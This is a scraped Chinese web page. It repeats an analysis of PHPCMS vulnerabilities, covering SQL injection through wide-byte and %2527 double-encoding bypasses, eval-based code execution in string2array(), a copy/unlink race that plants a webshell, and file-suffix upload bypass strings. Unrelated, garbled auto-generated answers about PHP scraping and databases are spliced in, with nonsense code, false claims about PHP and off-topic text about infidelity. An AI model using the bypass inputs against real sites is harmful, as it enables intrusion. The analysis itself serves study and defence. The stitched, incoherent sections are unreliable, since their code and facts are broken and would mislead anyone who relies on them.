$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
phpdb=newdb(你的数据库名)
网站优化 • 优采云 发表了文章 • 0 个评论 • 64 次浏览 • 2022-06-09 16:20
php抓取网页数据插入数据库这里简单说下php抓取网页数据的流程(php抓取百度站长平台官方html),抓取html返回给php处理后,由php解析并返回给php;回到数据库操作,对应到代码,就是:$goal=['load_html','html_header','tag','srt','db'];//赋值数据库$db=newdb('你的数据库名');$goal=$db->load_html($goal,'html_header','tag','srt','db');这里数据库的注意点和一些概念:php利用一个叫::,函数可以自定义几个表引用上去,而这几个表是全部以数组的形式存放,在php处理text方法输出的时候,这些数组同时输出到数据库中;这里需要注意一下“::”,在php中,没有这个函数,如果我们觉得一定要把php写成这个样子,那可以用array_concat('','db','username')来代替;$ctx_file='我的数据库';$db_file=$ctx_file。
'/home/database。php';$db_file_dump=php_dump_data($db_file,strtoywrite,'load_to_cache','eval','eval',__file__);//写操作,结果可以看到,我们在下面的文章中所有的file结果都是eval写的;要想成功的写一个file,一个定义在::的函数必须要写在$file。
func();那么再来看:你的sql语句中的username是一个char型的字符串类型(不是a-z任何一个字符串)$admin_conns=$username->encode('utf-8')。'';对应的:$admin_conns["admin_username"]='';//结果$admin_conns["default_admin_username"]='';//结果现在我们就能把sql语句中的username改成username了;为了全局化的写text,我们用“::”提取出来的$admin_text这个函数,但是这样在全局中是变量名,因为php的数据库里不是string类型的字符串,而是字符串类型的数据,因此$admin_text是null;没有auto_increment,所以我们需要用$triangle_name_annotator()函数对数组进行不断重写,才能保证数组的不断增长,才能达到goal的效果;这里要用到全局语句:give_url=function(url){var_dump('');this。
$goal=get_url(url);//不断迭代,直到满足或者超过全局不断增长的要求};$triangle_name_annotator=["v1","v2"];这里,我们需要把字符串数组存入到一个类型为string的变量中,也就是$goal_array,然后变量名定。 查看全部
phpdb=newdb(你的数据库名)
php抓取网页数据插入数据库这里简单说下php抓取网页数据的流程(php抓取百度站长平台官方html),抓取html返回给php处理后,由php解析并返回给php;回到数据库操作,对应到代码,就是:$goal=['load_html','html_header','tag','srt','db'];//赋值数据库$db=newdb('你的数据库名');$goal=$db->load_html($goal,'html_header','tag','srt','db');这里数据库的注意点和一些概念:php利用一个叫::,函数可以自定义几个表引用上去,而这几个表是全部以数组的形式存放,在php处理text方法输出的时候,这些数组同时输出到数据库中;这里需要注意一下“::”,在php中,没有这个函数,如果我们觉得一定要把php写成这个样子,那可以用array_concat('','db','username')来代替;$ctx_file='我的数据库';$db_file=$ctx_file。
'/home/database。php';$db_file_dump=php_dump_data($db_file,strtoywrite,'load_to_cache','eval','eval',__file__);//写操作,结果可以看到,我们在下面的文章中所有的file结果都是eval写的;要想成功的写一个file,一个定义在::的函数必须要写在$file。
func();那么再来看:你的sql语句中的username是一个char型的字符串类型(不是a-z任何一个字符串)$admin_conns=$username->encode('utf-8')。'';对应的:$admin_conns["admin_username"]='';//结果$admin_conns["default_admin_username"]='';//结果现在我们就能把sql语句中的username改成username了;为了全局化的写text,我们用“::”提取出来的$admin_text这个函数,但是这样在全局中是变量名,因为php的数据库里不是string类型的字符串,而是字符串类型的数据,因此$admin_text是null;没有auto_increment,所以我们需要用$triangle_name_annotator()函数对数组进行不断重写,才能保证数组的不断增长,才能达到goal的效果;这里要用到全局语句:give_url=function(url){var_dump('');this。
$goal=get_url(url);//不断迭代,直到满足或者超过全局不断增长的要求};$triangle_name_annotator=["v1","v2"];这里,我们需要把字符串数组存入到一个类型为string的变量中,也就是$goal_array,然后变量名定。
awesome-phpphp抓取网页数据插入数据库并执行excel操作。
网站优化 • 优采云 发表了文章 • 0 个评论 • 52 次浏览 • 2022-06-03 07:02
php抓取网页数据插入数据库并执行excel操作。网上非常多开源代码,但是你要明白网上大部分开源代码在github上的地址都是,需要科学上网,就像商场说国外有,你得翻墙去看看。个人觉得使用awesome-php这个项目里的代码比网上那些开源代码更简单些。简单的说,你首先得有一个项目的目录,然后百度github关键字php抓取网页数据插入数据库并执行excel操作...找到爬虫爬取的链接,把这个目录拷贝到项目目录下。
项目目录下继续找awesome-php的项目,我就用github自带的爬虫解析工具解析了一遍了...解析出这个目录下的项目文件。最后准备数据库。写爬虫,这个不再赘述,就按照php的架构去写。然后用excel执行excel。这个解析工具叫excel_slr,放到目录里就可以工作了。其他也是跟着php的爬虫脚本手把手修改再爬,慢慢摸索一下。
其实,数据库就是一个字符串与字符串的映射关系,涉及到一个字符串操作,网上代码实现太多了,有兴趣可以搜下。最终你只需要一个.xlsx格式的数据库文件就可以执行数据库查询并excel操作了。最后把你的爬虫脚本放到/applications/awesome-php/core/system/modules/php_slide/php_params/目录下执行就可以了。
蟹妖。你好。我是一名开发,网上有很多很好的开源抓取工具,这里推荐个让你少抓一些的。awesome-php,官网可以找到很多文章,并且官网提供了很多很好的案例,帮助你更加深入了解网页爬虫相关知识。 查看全部
awesome-phpphp抓取网页数据插入数据库并执行excel操作。
php抓取网页数据插入数据库并执行excel操作。网上非常多开源代码,但是你要明白网上大部分开源代码在github上的地址都是,需要科学上网,就像商场说国外有,你得翻墙去看看。个人觉得使用awesome-php这个项目里的代码比网上那些开源代码更简单些。简单的说,你首先得有一个项目的目录,然后百度github关键字php抓取网页数据插入数据库并执行excel操作...找到爬虫爬取的链接,把这个目录拷贝到项目目录下。
项目目录下继续找awesome-php的项目,我就用github自带的爬虫解析工具解析了一遍了...解析出这个目录下的项目文件。最后准备数据库。写爬虫,这个不再赘述,就按照php的架构去写。然后用excel执行excel。这个解析工具叫excel_slr,放到目录里就可以工作了。其他也是跟着php的爬虫脚本手把手修改再爬,慢慢摸索一下。
其实,数据库就是一个字符串与字符串的映射关系,涉及到一个字符串操作,网上代码实现太多了,有兴趣可以搜下。最终你只需要一个.xlsx格式的数据库文件就可以执行数据库查询并excel操作了。最后把你的爬虫脚本放到/applications/awesome-php/core/system/modules/php_slide/php_params/目录下执行就可以了。
蟹妖。你好。我是一名开发,网上有很多很好的开源抓取工具,这里推荐个让你少抓一些的。awesome-php,官网可以找到很多文章,并且官网提供了很多很好的案例,帮助你更加深入了解网页爬虫相关知识。
php抓取网页数据插入数据库存储我做个基于web的
网站优化 • 优采云 发表了文章 • 0 个评论 • 72 次浏览 • 2022-05-29 17:14
php抓取网页数据插入数据库存储
我做个基于web的,算是nb一点的吧。微信上可以借鉴@薄荷给到的办法,但是用起来并不如ipython,jupyter简单方便。如果用python3,你可以这样搞。form_login,admin,username,password="secret"web.request(username,password)我这样可以把用户名和密码中的任意一部分输入,get请求更改,验证登录。直接输入username/password的就是登录了。
1.发现她出轨2.发现她不出轨3.被她发现出轨4.和她谈以后她如果不离婚5.发现她出轨但又被她发现6.发现她出轨但她没有选择离婚7.发现她出轨但她后悔了8.分手9.再分手
应邀!出轨如果要报警需要取得对方身份信息,个人觉得很难办。以我身边接触的情况的话,至少要起诉对方和自己财产责任划分、男方和女方责任划分、对方对情感的处理需求,从这个角度说,这个问题的数据库管理自己要搞清楚,要对不同数据类型分别存储,不同的要求目前普遍没有成熟的方案。e-mail是否可以起诉对方?或者手机短信的归类管理系统的。因为是软件系统工程师,又是民事案件,我是做涉外的,涉外当事人如果有争议这个案子会转到涉外仲裁。
email,微信,
安卓安卓可以自己定义我建立了一个专门的部门来做这些,然后用的是比较先进的,男女通用的系统,然后做这些事情要一张表设定五套数据库,一张表设定三套类似whois的url,三套类似pptv的设定。安卓不了解,苹果的话各个部门的数据都是要手动上传的,但是实际上编程比这个重要的多。我建议每个部门自己设定一个编号,里面放数据库名字,然后先不编程直接拷贝每个数据库的url。
这样不需要。你要了解法律风险点。按照这个数据库名字做一张大的模型表。每一个数据库的url。然后就能解决这个问题了。至于excel,admin什么的,那才是重点。 查看全部
php抓取网页数据插入数据库存储我做个基于web的
php抓取网页数据插入数据库存储
我做个基于web的,算是nb一点的吧。微信上可以借鉴@薄荷给到的办法,但是用起来并不如ipython,jupyter简单方便。如果用python3,你可以这样搞。form_login,admin,username,password="secret"web.request(username,password)我这样可以把用户名和密码中的任意一部分输入,get请求更改,验证登录。直接输入username/password的就是登录了。
1.发现她出轨2.发现她不出轨3.被她发现出轨4.和她谈以后她如果不离婚5.发现她出轨但又被她发现6.发现她出轨但她没有选择离婚7.发现她出轨但她后悔了8.分手9.再分手
应邀!出轨如果要报警需要取得对方身份信息,个人觉得很难办。以我身边接触的情况的话,至少要起诉对方和自己财产责任划分、男方和女方责任划分、对方对情感的处理需求,从这个角度说,这个问题的数据库管理自己要搞清楚,要对不同数据类型分别存储,不同的要求目前普遍没有成熟的方案。e-mail是否可以起诉对方?或者手机短信的归类管理系统的。因为是软件系统工程师,又是民事案件,我是做涉外的,涉外当事人如果有争议这个案子会转到涉外仲裁。
email,微信,
安卓安卓可以自己定义我建立了一个专门的部门来做这些,然后用的是比较先进的,男女通用的系统,然后做这些事情要一张表设定五套数据库,一张表设定三套类似whois的url,三套类似pptv的设定。安卓不了解,苹果的话各个部门的数据都是要手动上传的,但是实际上编程比这个重要的多。我建议每个部门自己设定一个编号,里面放数据库名字,然后先不编程直接拷贝每个数据库的url。
这样不需要。你要了解法律风险点。按照这个数据库名字做一张大的模型表。每一个数据库的url。然后就能解决这个问题了。至于excel,admin什么的,那才是重点。
php抓取网页数据插入数据库:代码:然后改为$sql
网站优化 • 优采云 发表了文章 • 0 个评论 • 61 次浏览 • 2022-05-26 19:06
php抓取网页数据插入数据库:代码:然后改为$sql='select*from${$data}wherename='.$_get['tablename'];';?>
sql_exec:将1转换为string
<p>首先呢php,jsp都需要用到内联函数一、使用io_string_exec()函数将所有io事件处理函数转换为string类型,同时保留返回值,为所有string类型的参数提供容器转换:传递参数:io_string_exec函数内部使用read_string()函数将数据读入内存io_string_exec()函数内部使用write_string()函数将数据写入内存io_string_exec()函数内部使用exist()判断是否为空exist()判断是否有缺失值fori=1;i 查看全部
php抓取网页数据插入数据库:代码:然后改为$sql
php抓取网页数据插入数据库:代码:然后改为$sql='select*from${$data}wherename='.$_get['tablename'];';?>
sql_exec:将1转换为string
<p>首先呢php,jsp都需要用到内联函数一、使用io_string_exec()函数将所有io事件处理函数转换为string类型,同时保留返回值,为所有string类型的参数提供容器转换:传递参数:io_string_exec函数内部使用read_string()函数将数据读入内存io_string_exec()函数内部使用write_string()函数将数据写入内存io_string_exec()函数内部使用exist()判断是否为空exist()判断是否有缺失值fori=1;i